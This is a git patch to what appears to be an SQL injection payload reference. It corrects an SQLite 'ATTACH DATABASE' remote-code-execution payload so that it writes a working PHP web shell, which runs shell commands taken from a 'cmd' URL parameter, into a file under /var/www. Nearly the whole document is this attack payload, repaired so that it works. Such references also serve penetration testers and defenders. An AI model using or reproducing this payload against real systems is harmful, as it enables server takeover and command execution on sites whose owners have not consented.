From 4ab26493170b2fd85c2d518d74324d1d73e0270a Mon Sep 17 00:00:00 2001
From: malet <6935429+gitmalet@users.noreply.github.com>
Date: Tue, 14 Dec 2021 19:54:41 +0100
Subject: [PATCH] Fixing "RCE  - Attach Database" Payload

The old payload doesn't work for many cases as the `php` in `<?php` is missing.
---
 SQL Injection/SQLite Injection.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/SQL Injection/SQLite Injection.md b/SQL Injection/SQLite Injection.md
index 739f49d4..0b7f0837 100644
--- a/SQL Injection/SQLite Injection.md	
+++ b/SQL Injection/SQLite Injection.md	
@@ -82,7 +82,7 @@ AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
 ```sql
 ATTACH DATABASE '/var/www/lol.php' AS lol;
 CREATE TABLE lol.pwn (dataz text);
-INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');--
+INSERT INTO lol.pwn (dataz) VALUES ('<?php system($_GET['cmd']); ?>');--
 ```
 
 ## Remote Command Execution using SQLite command - Load_extension